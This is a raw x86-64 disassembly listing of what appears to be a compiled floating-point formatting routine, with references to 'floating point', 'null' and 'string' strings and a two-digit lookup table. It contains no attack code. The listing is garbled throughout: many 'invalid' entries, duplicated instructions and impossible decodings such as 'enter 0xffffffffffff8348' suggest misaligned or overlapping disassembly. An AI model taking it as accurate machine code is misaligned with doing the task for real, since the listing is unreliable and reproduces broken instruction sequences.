add byte [rax], al
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int3
sub esp, 0x38
cmp byte [rax - 0x75], cl
add dword [rax - 0x7b], ecx
test rax, rax
je 0x1400cfb51
invalid
clc
mov rax, qword [rcx]
test rax, rax
je 0x1400cfb51
cmp eax, 1
jne 0x1400cfb63
clc
add dword [rbp + 0x22], esi
mov rax, qword [rcx + 8]
mov qword [rsp + 0x28], rax
or byte [r8 - 0x77], cl
and al, 0x28
mov byte [rsp + 0x20], 1
jmp 0x1400cfb71
movsd xmm0, qword [rcx + 8]
movsd qword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x28], xmm0
sub dh, al
and al, 0x20
invalid
and al, 0x20
add ebp, ebx
jmp 0x1400cfb71
jmp 0x1400cfb71
mov rax, qword [rcx + 8]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 2
and al, 0x20
invalid
and al, 0x20
add cl, byte [rax - 0x73]
and al, 0x20
lea rcx, [rsp + 0x20]
call fcn.14010f0d0
nop
add rsp, 0x38
add esp, 0x38
cmp bl, al
cmp bl, al
int3
int3
int3
int3
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
sub esp, 0xa8
sub esp, 0xa8
test al, 0
add byte [rax], al
movzx eax, byte [rcx]
cmp eax, 3
clc
invalid
je 0x1400cfbe3
clc
add esi, dword [rax + rdi - 0x7d]
clc
invalid
cmp eax, 7
jne 0x1400cfc46
invalid
xchg edx, eax
add byte [rax], al
invalid
test dword [rdx + 0x48000000], edx
mov ecx, dword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, str.null
lea edx, str.null
mov r8d, 4
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
invalid
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
jmp rax
movabs r8, 0xfffffffffffff
mov rbx, qword [rcx + 8]
pop rcx
or byte [rax - 0x77], cl
invalid
not rcx
invalid
str word [rax - 0x75]
pop rcx
or byte [rax - 0x77], cl
invalid
mov rax, rbx
and rax, r8
fmul dword [rcx + riz - 0x40]
movabs r9, 0x7ff0000000000000
add byte [rax], al
invalid
test rcx, r9
leave
jne 0x1400cfc82
xor ecx, ecx
leave
test rbx, rbx
sets cl
lea r8, [0x140147207]
lea r9, [0x14014720a]
or eax, 0x775e8
or eax, 0x775e8
add byte [rbp + 0xf], cl
enter 0xffffffffffff8348, 0xffffffffffffffc1
enter 0xffffffffffff8348, 0xffffffffffffffc1
cmovns r9, r8
enter 0xffffffffffff8348, 0xffffffffffffffc1
add rcx, 3
test rax, rax
test eax, eax
add ecx, dword [rax - 0x7b]
sar byte [rbx + 3], 0x48
cmove ebx, ecx
test eax, eax
mov ebx, 3
cmove rbx, rcx
cmove ebx, ecx
lea rax, [0x14014720e]
cmove rax, r9
shr ecx, 0xb1
or dword [rax], eax
invalid
shr ecx, 0xb1
or dword [rax], eax
add byte [rcx + 0x58d4cc0], cl
fld dword [rbp + 0x6349000a]
add al, 0x80
mov eax, eax
lea r8, [0x140178228]
lea eax, [0x140178228]
lea eax, [0x140178228]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
invalid
sar bh, 0xe0
movzx eax, byte [rcx + 1]
invalid
mov byte [rsp + 0x50], al
and al, 0x50
loopne 0x1400cfc68
mov dh, 0x41
add dword [rax + 0x48502444], ecx
lea eax, [rsp + 0x50]
and al, 0x50
and al, 0x50
lea rax, [rsp + 0x50]
and al, 0x50
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
lea rax, [0x140017250]
mov qword [rsp + 0x30], rax
and al, 0x30
hlt
and al, 0x30
lea rax, [0x140147110]
jmp 0x1400d0123
invalid
xchg ebx, eax
je 0x1400cfc83
add cl, ch
movabs eax, dword [0xc148d98948000004]
add byte [rax - 0x77], cl
invalid
invalid
invalid
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov ecx, ebx
shr rcx, 0x34
test rbx, rbx
test ebx, ebx
jmp 0x11b9244c0
test ebx, ebx
fstp xword [rax + 0x10]
js 0x1400cfc9e
adc byte [rbp + 0x31], al
leave
xor r9d, r9d
and ecx, 0x7ff
add byte [rax], al
test rax, rax
je 0x1400cfcb4
jmp 0x1400cfcd8
mov byte [rsp + 0x28], 0x2d
mov r9d, 1
and al, 0x28
sub eax, 0x1b941
add byte [rax], al
and ecx, 0x7ff
inc dword [rdi]
add byte [rax], al
test rax, rax
jne 0x1400cfcd8
invalid
and al, 0x85
leave
test ecx, ecx
jne 0x1400cfcd8
and byte [rdx - 0x3a], al
or al, 0x2a
mov byte [rsp + r9 + 0x2a], 0x30
mov word [rsp + r9 + 0x28], 0x2e30
shr rbx, 0x3f
shr ebx, 0x3f
xor byte [rsi + 0x42], ah
mov dword [rsp + rcx + 0x28], 0xc1482e30
shr ebx, 0x3f
shr ebx, 0x3f
invalid
add rbx, 3
lea rax, [rsp + 0x28]
lea eax, [rsp + 0x28]
lea eax, [rsp + 0x28]
and al, 0x28
jmp case.0x1400c3439.161
or dword [rax], eax
add byte [rcx + rcx*4 + 0x4c], cl
invalid
invalid
mov qword [rsp + 0x40], r9
and al, 0x40
mov qword [rsp + 0x48], rdx
lea edx, [rcx - 0x435]
sti
invalid
inc dword [rbp - 0x3346be37]
sti
invalid
inc dword [rdi + rcx + 0x45]
retf 0x8d49
push rsp
add byte [rcx], al
sti
invalid
sti
invalid
inc dword [rdi + rcx + 0x45]
retf 0x8d49
push rsp
add byte [rcx], al
cmove rdx, rax
mov qword [rsp + 0x90], rdx
add byte [rax], al
ror byte [rax - 0x77], 1
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rax], al
invalid
invalid
sbb al, 0x95
add byte [rax], al
lea r11, [rdx*4]
sbb al, 0x95
add byte [rax], al
add byte [rax], al
test rax, rax
setne al
xchg ebp, eax
invalid
xchg ebp, eax
rol byte [rbx + 0xf4102f9], 0x92
cmp ecx, 2
setb r12b
add al, byte [rcx + 0xf]
xchg edx, eax
setb ah
invalid
or r12b, al
or ah, al
movabs rbp, 0xcccccccccccccccd
movzx r13d, r12b
mov dh, 0xec
int 0xcc
int3
int3
int3
mov dh, 0xec
test r9d, r9d
js case.0x1400c3439.162
mov byte [rbx], ch
add dword [rax], eax
invalid
mov byte [rbx], ch
add dword [rax], eax
add byte [rbp + 0x69], al
stc
xor al, 1
add dword [rax], eax
shr r15d, 0x12
invalid
invalid
imul r15d, r9d, 0x13441
add dword [rax], eax
shr r15d, 0x12
cmp r9d, 4
stc
add al, 0x41
adc edi, 0xffffffff
stc
add al, 0x41
adc edi, 0xffffffff
xlatb
inc dword [rcx + 0x69]
invalid
imul eax, r15d, 0x12934f
shr eax, 0x13
invalid
invalid
add cl, al
call 0x139964167
mov ecx, r15d
sub ecx, r9d
leave
add ecx, eax
mov rax, r15
clc
clc
shl rax, 4
lea rdx, [0x140144570]
mov rdi, qword [rax + rdx]
cmp al, 0x10
or dword [rax + 7], ecx
add byte [rax - 0x75], cl
cmp al, 0x10
mov r8, qword [rax + rdx + 8]
adc byte [rax], r9b
or byte [rbp - 0x77], cl
fmul qword [rcx - 0x7d]
mov r12, r11
or r12, 2
int3
add cl, byte [rax - 0x77]
clc
int3
mul r12
mul esp
mov r9, rdx
mov rax, r8
mov eax, eax
mov eax, eax
mul r12
mov r10, rdx
mov edx, edx
mov edx, edx
mov rsi, rax
add rsi, r9
adc r10, 0
invalid
add cl, 0x7d
and cl, 0x7f
jge 0x1400cfd17
loope 0x1400cfe18
xor cl, 0x40
shrd rsi, r10, cl
invalid
int1
shrd rsi, r10, cl
invalid
invalid
shr r10, cl
mov r9, r13
not r9
add r9, r11
mov rax, rdi
mul r9
loope 0x1400cfdfc
mov esi, edx
jmp 0x18ddef4f3
loope 0x1400cfdfc
mov esi, edx
mov rax, r8
mul r9
mul ecx
ror byte [rcx - 9], 0xe1
mul ecx
mov r9, rdx
mov rbx, rax
add rbx, r14
adc r9, 0
adc ecx, 0
shrd rbx, r9, cl
retf
shr r9, cl
retf
mov rax, rdi
mul r11
mov rdi, rdx
xlatb
mov rax, r8
mul r11
mov r8, rdx
mov eax, edx
mov eax, edx
add rax, rdi
adc r8, 0
add byte [rdi + rcx - 0x53], cl
ror byte [rcx - 0x2d], 0xe8
add byte [rdi + rcx - 0x53], cl
ror byte [rcx - 0x2d], 0xe8
test cl, 0x40
cmove r10, rsi
cmove edx, esi
cmove edx, esi
invalid
invalid
cmove r9, rbx
cmove ecx, ebx
cmove r8, rax
cmp r15d, 0x16
invalid
jae 0x1400d01f4
add eax, dword [rax]
invalid
rol byte [rcx - 0x7d], 0xff
invalid
add eax, dword [rax]
add byte [rax - 0x47], cl
xor al, 0x33
xor esi, dword [rbx]
xor esi, dword [rbx]
xor esi, dword [rbx]
invalid
movabs rcx, 0x3333333333333334
xor esi, dword [rbx]
xor esi, dword [rbx]
xor esi, dword [rbx]
xor ecx, dword [rcx + rcx*4 - 0x28]
mov eax, ebx
mov rax, r11
mov eax, ebx
mul rcx
movabs rax, 0x3333333333333333
lea ecx, [rdx + rdx*4]
or al, 0x92
xor esi, dword [rbx]
xor esi, dword [rbx]
xor ecx, dword [rbp + 0x3944920c]
or al, 0x92
cmp ecx, r11d
or al, 0x92
cmp ecx, r11d
jne 0x1400d0192
test dword [rbx + rax], esp
invalid
test dword [rbx + rax], esp
add eax, dword [rax]
add byte [rcx - 1], bh
mov ecx, 0xffffffff
invalid
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x51], cl
imul ebx, ebp
imul r11, rbp
imul ebx, ebp
inc ecx
cmp r11, rax
jbe 0x1400cfe40
cmp ecx, r15d
jb 0x1400d01f4
mov sil, 1
xor r12d, r12d
jmp 0x1400d02d7
imul esi, r9d, 0xfff4d105
shr esi, 0x14
out dx, al
adc al, 0x31
rol byte [rcx - 0x7d], 0xf9
dec dword [rdi]
xchg ebp, eax
shr byte [rcx], 0xc6
int1
add eax, 0xc1fff4d1
out dx, al
adc al, 0x31
rol byte [rcx - 0x7d], 0xf9
dec dword [rdi]
xchg ebp, eax
shr byte [rcx], 0xc6
add r9d, esi
mov eax, r9d
neg eax
mov dword [rsp + 0x24], r9d
and al, 0x24
fadd dword [rcx + rcx*4 + 0x4c]
and al, 0x24
imul edx, r9d, 0x3ed6cb1
shr edx, 0x13
mov ecx, esi
insb byte [rdi], dx
in eax, dx
add eax, ecx
invalid
sub ecx, edx
shl rax, 4
lea rdx, [0x140145ad0]
mov rbx, qword [rax + rdx]
mov r8, qword [rax + rdx + 8]
mov r10, r11
fimul dword [rcx - 0x7d]
retf 0x4802
mov eax, ebx
fimul dword [rcx - 0x7d]
retf 0x4802
mov eax, ebx
mul r10
mov r9, rdx
mov rax, r8
mul r10
mov r10, rdx
mov rdi, rax
add rdi, r9
adc r10, 0
add cl, 0x7c
and cl, 0x7f
xor cl, 0x40
shrd rdi, r10, cl
shr r10, cl
not r13
add r13, r11
mov rax, rbx
mul r13
mov r15, rdx
mov rax, r8
ror byte [rcx - 9], 0xe5
ror byte [rcx - 9], 0xe5
mov r9, rdx
mov r14, rax
mov esi, eax
mov esi, eax
add r14, r15
adc r9, 0
shrd r14, r9, cl
shr r9, cl
mov rax, rbx
mul r11
mov rbx, rdx
mov rax, r8
mul r11
mov r8, rdx
add rax, rbx
adc r8, 0
shrd rax, r8, cl
shr r8, cl
shr eax, cl
shr eax, cl
test cl, 0x40
cmove r10, rdi
cmove r9, r14
cmove r8, rax
cmp esi, 2
jae 0x1400d0165
mov rax, qword [rsp + 0x90]
and eax, 1
sete cl
and r12b, cl
sub r10, rax
mov sil, 1
jmp 0x1400d02df
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401471d1]
jmp 0x1400d0060
adc eax, 0x7725f
mov r8d, 0xf
jmp case.0x1400a9339.250
invalid
or byte [r15], cl
adc dword [rsp + 0x50], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [0x14004de50]
mov qword [rsp + 0x30], rax
lea rax, str.string
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
jmp 0x1400d0131
xor byte [rax - 0x73], cl
add eax, 0x77075
jmp 0x1400d0123
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
jmp 0x1400d0646
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401471f9]
mov r8d, 0xe
jmp case.0x1400a9339.250
cmp esi, 0x3f
jae 0x1400d01c4
test byte [rsp + 0x90], 1
je 0x1400d01cf
mov ebx, r15d
mov r15, qword [rsp + 0x40]
mov rax, r10
shr rax, 2
movabs rdi, 0x28f5c28f5c28f5c3
mul rdi
mov r11, rdx
shr r11, 2
mov rax, r9
shr rax, 2
mul rdi
mov rcx, rdx
shr rcx, 2
xor esi, esi
cmp r11, rcx
jbe 0x1400d0255
mov r11, r10
mov rax, r11
mul rbp
mov r9, rdx
mov rax, rcx
mul rbp
shr r9, 3
shr rdx, 3
cmp r9, rdx
jbe 0x1400d02c4
nop word [rax + rax]
mov r10, r8
mov rcx, rdx
mov rax, r8
mul rbp
mov r8, rdx
shr r8, 3
inc r14d
mov rax, r9
mul rbp
mov r9, rdx
mov rax, rcx
mul rbp
shr r9, 3
shr rdx, 3
cmp r9, rdx
sal dword [rdi - 0x32], 1
sal dword [rdi - 0x32], 1
lea eax, [r8 + r8]
lea eax, [rax + rax*4]
sub r10d, eax
cmp r10d, 5
setae sil
cmp r8, rcx
sete al
or al, sil
jmp 0x1400d0431
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x4c], al
add dword [rcx], esi
test byte [rcx + rcx*4 - 8], 0x44
mov dword [rsp + 0x24], edi
mov eax, r15d
mov dword [rsp + 0x24], r15d
mov r15, qword [rsp + 0x40]
mov rax, r10
mul rbp
mov r11, rdx
shr r11, 3
jmp 0x1400d02f4
mov rax, r9
mul rbp
shr rdx, 3
xor edi, edi
xor r14d, r14d
cmp r11, rdx
test byte [rcx + 0x39], 0xd3
jbe 0x1400d036c
xor ebx, ebx
nop word [rax + rax]
mov rcx, rdx
lea edi, [rdx + rdx]
mov rax, r8
mul rbp
mov r10, rdx
lea eax, [rdi + rdi*4]
shr r10, 3
lea edx, [r10 + r10]
lea edi, [rdx + rdx*4]
neg edi
add dil, r8b
cmp eax, r9d
sete al
and r12b, al
test bl, bl
sete al
and sil, al
mov rax, r11
mul rbp
inc r14d
mov r11, rdx
shr r11, 3
mov rax, rcx
jmp 0x1400d0356
mul rbp
mul ebp
shr rdx, 3
mov r8, r10
mov r9, rcx
mov ebx, edi
cmp r11, rdx
ja 0x1400d0310
jmp 0x1400d0372
mov rcx, r9
mov ecx, ecx
mov r10, r8
ret 0x8041
xor r12b, 1
jne 0x1400d03ea
mov rax, rcx
mov eax, ecx
mul rbp
mov r9, rdx
mov ecx, edx
shr r9, 3
lea eax, [r9 + r9]
lea eax, [rax + rax*4]
cmp eax, ecx
enter 0x5c8b, 0x24
invalid
enter 0x5c8b, 0x24
and al, 0x75
invalid
pop rsp
and al, 0x24
jne 0x1400d03f6
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, r10
mul rbp
mov r8, rdx
in eax, 0x49
mov eax, edx
shr r8, 3
lea eax, [r8 + r8]
lea r11d, [rax + rax*4]
neg r11d
add r11b, r10b
test dil, dil
sete al
and sil, al
inc r14d
inc esi
inc esi
mov rax, r9
mul rbp
shr rdx, 3
lea eax, [rdx + rdx]
lea eax, [rax + rax*4]
mov rcx, r9
mov r10, r8
mov edi, r11d
cmp eax, r9d
cmp eax, ecx
cmp eax, ecx
mov r9, rdx
je 0x1400d03a0
jmp 0x1400d03fc
adc al, byte [rcx - 0x77]
sti
mov r11d, edi
mov r8, r10
mov ebx, dword [rsp + 0x24]
jmp 0x1400d03fc
mov r11d, edi
mov r8, r10
mov eax, r8d
mov eax, eax
and al, 1
or al, 4
cmp r11b, 5
sti
add eax, 0xd3b60f41
sti
add eax, 0xd3b60f41
movzx eax, al
cmovne eax, edx
test sil, sil
cmove eax, edx
cmp r8, rcx
enter 0xffffffffffff940f, 0xffffffffffffffc1
ret 0x3949
enter 0xffffffffffff940f, 0xffffffffffffffc1
mov rdx, qword [rsp + 0x90]
or dl, r12b
nop
add byte [rax], al
add byte [rax + rcx - 0x1e], al
and dl, cl
cmp al, 5
setae al
or al, dl
add r14d, ebx
movzx ecx, al
mov dh, 0xc8
mov dh, 0xc8
add rcx, r8
mov eax, 0x11
add byte [rax], al
add byte [rax], al
movabs rdx, 0x2386f26fc0ffff
and eax, dword [rax]
cmp rcx, rdx
ja 0x1400d055b
invalid
xchg dword [rcx], ecx
add dword [rax], eax
add byte [rax + 0x10], bh
mov eax, 0x10
add byte [rax - 0x46], cl
movabs rdx, 0x38d7ea4c67fff
cmp rcx, rdx
ja 0x1400d055b
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax + 0xf], bh
add byte [rax], al
mov eax, 0xf
add byte [rax], al
movabs rdx, 0x5af3107a3fff
pop rdx
add byte [rax], al
cmp rcx, rdx
ja 0x1400d055b
invalid
add byte [rax - 0x77], cl
retf 0xc148
mov rdx, rcx
shr rdx, 0xd
mov eax, 0xe
cmp rdx, 0x48c27394
ja 0x1400d055b
invalid
xchg esp, eax
jae 0x1400d0456
ja 0x1400d055b
add byte [rax - 0x77], cl
mov rdx, rcx
retf 0xc148
shr rdx, 0xc
mov eax, 0xd
invalid
add byte [rax], al
add byte [rax], al
or eax, 0x48000000
cmp edx, 0xe8d4a50
add byte [rax], al
cmp rdx, 0xe8d4a50
ja 0x1400d055b
add byte [rax - 0x77], cl
mov rdx, rcx
shr rdx, 0xb
invalid
invalid
retf 0xc148
invalid
mov eax, 0xc
cmp rdx, 0x2e90edc
ja 0x1400d055b
add byte [rax], al
invalid
add cl, byte [rdi]
xchg dword [rsi + 0x48000000], ecx
add byte [rax], al
add byte [rax - 0x77], cl
invalid
add byte [rax], al
add byte [rax - 0x77], cl
retf 0xc148
mov rdx, rcx
shr rdx, 0xa
mov eax, 0xb
or eax, dword [rax]
add byte [rax], al
invalid
or eax, dword [rax]
add byte [rax], al
cmp rdx, 0x9502f8
ja 0x1400d055b
cli
clc
add dl, byte [rbp - 0x47868900]
or al, byte [rax]
add byte [rax], al
invalid
mov eax, 0xa
add byte [rax - 0x7f], cl
stc
dec ecx
invalid
cmp rcx, 0x3b9ac9ff
ja 0x1400d055b
mov eax, 9
or dword [rax], eax
add byte [rax], al
cmp rcx, 0x5f5e0ff
ja 0x1400d055b
mov eax, 8
cmp rcx, 0x98967f
xchg esi, eax
cwde
invalid
add byte [rax - 0x7f], cl
stc
jg 0x1400d049e
xchg esi, eax
xchg esi, eax
cwde
add byte [rdi + 0x4f], dh
ja 0x1400d055b
ja 0x1400d055b
movabs r8, 0x3ff9814800000007
invalid
mov eax, 7
invalid
cmp rcx, 0xf423f
ja 0x1400d055b
mov eax, 6
cmp rcx, 0x1869f
add byte [rax - 0x7f], cl
stc
lahf
xchg byte [rcx], al
add byte [rdi + 0x33], dh
ja 0x1400d055b
mov eax, 5
add eax, 0x48000000
cmp ecx, 0x270f
invalid
add byte [rax], al
cmp rcx, 0x270f
ja 0x1400d055b
mov eax, 4
cmp rcx, 0x3e7
add byte [rax - 0x7f], cl
stc
out 3, eax
add byte [rax], al
add byte [rdi + 0x17], dh
ja 0x1400d055b
mov eax, 3
add eax, dword [rax]
add byte [rax], al
cmp rcx, 0x63
ja 0x1400d055b
cmp rcx, 0xa
mov eax, 1
add byte [rax], al
add byte [rax], al
sbb eax, 0xffffffff
mov edi, eax
movsxd rbx, r14d
lea rsi, [rdi + rbx]
lea esi, [rdi + rbx]
invalid
lea esi, [rdi + rbx]
test ebx, ebx
js 0x1400d05a8
fstp xword [rax + 0x40]
cmp rsi, 0x11
jge 0x1400d05a8
lea rax, [rsp + r15]
add rax, 0x28
add eax, 0x28
add rdi, rax
mov rdx, rdi
mov edx, edi
call fcn.1400cef30
scasd eax, dword [rdi]
jmp 0xc5530582
invalid
invalid
test r14d, r14d
je 0x1400d0593
invalid
mov rcx, rdi
mov dl, 0x30
mov r8, rbx
call fcn.1401069d0
cmp eax, 0x4a000364
lea eax, [rsi + rdi]
invalid
lea rax, [rsi + r15]
add al, 0x3e
mov word ds:[rsp + rax + 0x28], 0x302e
mov word [rsp + rax + 0x28], 0x302e
add al, 0x28
xor byte cs:[rdx - 0x73], cl
xor byte [rdx - 0x73], cl
sub byte [rsi], ch
xor byte [rdx - 0x73], cl
lea rbx, [rsi + r15]
sbb al, 0x3e
add rbx, 2
add ebx, 2
jmp case.0x140091ebb.393
lea rbx, [rsi - 1]
cmp rbx, 0x10
jae 0x1400d067b
invalid
add byte [rax], al
invalid
pop rsi
dec dword [rax - 0x7d]
sti
adc byte [rdi], cl
add ebp, 0
add byte [rax], al
invalid
invalid
add byte [rcx - 0x73], cl
add al, 0x3f
invalid
lea rax, [r15 + rdi]
invalid
lea rbx, [r15 + rdi]
inc rbx
lea rdx, [rsp + rax]
add rdx, 0x29
add edx, 0x29
add edx, 0x29
call fcn.1400cef30
dec dword [rdx - 0x73]
cmp al, 0x3c
invalid
lea rdi, [rsp + r15]
cmp al, 0x48
add rdi, 0x28
add edi, 0x28
sub byte [rdx - 0x73], cl
adc al, 0x3c
invalid
lea rdx, [rsp + r15]
add rdx, 0x29
mov rcx, rdi
mov r8, rsi
mov eax, esi
mov eax, esi
call fcn.140106250
mov byte [rsi + rdi], 0x2e
lea rax, [rsp + 0x28]
sub byte [rax - 0x75], cl
push rsp
and al, 0x48
invalid
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
lea rax, [rsp + 0x50]
push rax
mov qword [rsp + 0x98], rax
lea rax, [0x14004e490]
jnp case.0x140095028.381
fdivrp st(7)
invalid
and al, 0x98
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff7de7b
jnp case.0x140095028.381
fdivrp st(7)
invalid
fdivrp st(7)
dec dword [rax - 0x77]
invalid
invalid
mov qword [rsp + 0xa0], rax
lea rax, str.floating_point___
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x779f4
jns 0x1400d062a
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x68], 2
mov dword [rsp + 0x68], 2
add al, byte [rax]
add byte [rax], al
invalid
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x98]
and al, 0x98
add byte [rax], al
invalid
add byte [rax - 0x73], cl
test byte [rax + rbx*4], ah
and al, 0x98
and al, 0x98
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
and al, 0x70
invalid
mov qword [rsp + 0x70], rax
jo 0x1400d0694
mov qword [rsp + 0x78], 1
mov dword [rsp + 0x78], 1
and al, 0x78
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x60]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
lea r8, [rsp + 0x60]
lea eax, [rsp + 0x60]
call fcn.140013bb0
xor rax, 0x4890fff4
add esp, 0xa8
invalid
test al, 0
add byte [rax], al
invalid
nop
add rsp, 0xa8
invalid
test al, 0
add byte [rax], al
invalid
test al, 0
add byte [rax], al
invalid
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
lea rax, [rsi + 4]
cmp rax, 5
clc
invalid
add al, 0x48
cmp eax, 5
clc
invalid
add eax, 0x42665f73
mov dword [rsp + rdi + 0x28], 0x2bb2e30
cmp al, 0x28
xor byte [rsi], ch
invalid
invalid
jae 0x1400d06e4
mov word [rsp + r15 + 0x28], 0x2e30
mov dword [rsp + r15 + 0x28], 0x2bb2e30
cmp al, 0x28
xor byte [rsi], ch
mov ebx, 2
sub rbx, rsi
add byte [rax], al
add byte [rax + 0x29], cl
test rsi, rsi
test rsi, rsi
jns 0x1400d06c4
lea rax, [rsp + r15]
add rax, 0x2a
cmp rbx, 4
mov r8d, 3
add al, 0x41
mov eax, 3
cmovge r8, rbx
add r8, 0xfffffffffffffffe
add eax, 0xfffffffe
ret
add eax, 0xfffffffe
mov rsi, rcx
mov rcx, rax
invalid
invalid
mov dl, 0x30
call fcn.1401069d0
packsswb mm0, qword [rbx]
invalid
add eax, dword [rax]
invalid
add eax, dword [rax]
mov rcx, rsi
add r15, rdi
add r15, rbx
fisttp word [rdx - 0x73]
adc al, 0x3c
invalid
fisttp word [rdx - 0x73]
adc al, 0x3c
invalid
cmp al, 0x48
add edx, 0x28
add rdx, 0x28
call fcn.1400cef30
lea rax, [rsp + 0x28]
and al, 0x28
dec dword [rax - 0x73]
and al, 0x28
and al, 0x28
mov rbx, r15
mov ebx, edi
jmp 0x1400d05f2
cmp edi, 1
inc dword [rcx]
jne case.0x140091ebb.408
add cl, 0x30
mov byte [rsp + r15 + 0x28], cl
xor byte [rdx - 0x78], al
cmp al, 0x28
mov byte [rsp + r15 + 0x29], 0x65
mov byte [rsp + rdi + 0x29], 0x65
sub dword [rbp + 0x4a], esp
lea eax, [rsp + rdi]
add al, 0x3c
lea rax, gs:[rsp + r15]
lea rax, [rsp + r15]
add al, 0x3c
add rax, 0x2a
test rsi, rsi
mov rdx, qword [rsp + 0x48]
test byte [rax - 0x75], 0x54
and al, 0x48
jle 0x1400d074b
mov rcx, rbx
mov ecx, ebx
jmp 0x1400d0759
lea r14, [r15 + rdi]
invalid
lea rdx, [rsp + r14]
lea edx, [rsp + rsi]
xor al, 0x48
add edx, 0x29
invalid
add rdx, 0x29
sub eax, ebp
adc eax, ebp
call fcn.1400cef30
movzx eax, byte [rsp + r15 + 0x29]
mov byte [rsp + r15 + 0x28], al
invalid
mov byte [rsp + rdi + 0x28], al
mov byte [rsp + r15 + 0x29], 0x2e
cmp al, 0x29
mov byte cs:[rsp + r14 + 0x29], 0x65
mov byte [rsp + rsi + 0x29], 0x65
sub dword [rsi], ebp
mov byte [rsp + r14 + 0x29], 0x65
mov byte [rsp + rsi + 0x29], 0x65
lea rcx, gs:[rsp + r14]
lea rcx, [rsp + r14]
xor al, 0x48
add ecx, 0x2a
add rcx, 0x2a
test rsi, rsi
jle case.0x14009662c.342
jg case.0x1400a91d6.263
mov r8, rbx
mov eax, ebx
jmp case.0x1400b50e9.220
add byte [rax], al
add dh, al
add byte [0xf9ce069a], ch
sub eax, 0xb9c0ff48
mov byte [rax], 0x2d
inc rax
sub eax, 0xb9c0ff48
mov ecx, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax + 0x29], cl
int1
sub rcx, rsi
or r15, 2
cmp rcx, 0x63
cmp ecx, 0x63
jbe 0x1400d079c
cmp dword [rcx - 0x77], eax
mov r8d, ecx
enter 0x694d, 0xffffffffffffffc0
imul r8, r8, 0x51eb851f
invalid
shr r8, 0x25
lea r9d, [r8 + 0x30]
mov byte [rax], r9b
imul r8d, r8d, 0x64
imul eax, eax, 0x64
sub ecx, r8d
invalid
shl byte [rsp + rax*2 + 0x29], 0xc1
ror dword [rbp + rcx*4 + 5], 0xaa
invalid
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
add eax, 0x767aa
add byte [rcx + 0xf], al
mov bh, 0xc
or al, 0x48
mov word [rax + 1], cx
movzx ecx, word [r8 + rcx*2]
or al, 0x48
mov word [rax + 1], cx
add qword [rax - 0x3f], rcx
jmp case.0x140096f06.338
shr rbx, 0x3f
add rbx, 3
ret
add ebp, ecx
stosd dword [rdi], eax
add byte [rax], al
invalid
add ebp, ecx
stosd dword [rdi], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
stc
or dword [rdi], ecx
cmp rcx, 9
cmp ecx, 9
jbe 0x1400d083b
xchg byte [rbp + 0x4c000000], dl
lea eax, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
and dword [rdi + 7], 0
add byte [rbp + rcx*4 + 5], cl
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
and dword [rdi + 7], 0
invalid
movzx ecx, word [r8 + rcx*2]
mov word [rax], cx
mov bh, 0xc
mov word [rax], cx
shr rbx, 0x3f
shr ebx, 0x3f
or rbx, 2
jmp 0x1400d0847
test dword [rax], eax
add byte [rax], al
invalid
add dh, al
add dword [0x181cf0711], ebp
inc rcx
invalid
mov byte [rcx], 0x2d
inc rcx
inc ecx
mov r8d, 1
mov eax, 1
sub r8, rsi
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
lea rax, [r15 + rdi]
lea rax, [r15 + rdi]
add rax, 2
cmp r8, 0x63
cmp eax, 0x63
add cl, byte [rcx - 0x7d]
clc
cmp eax, 0x63
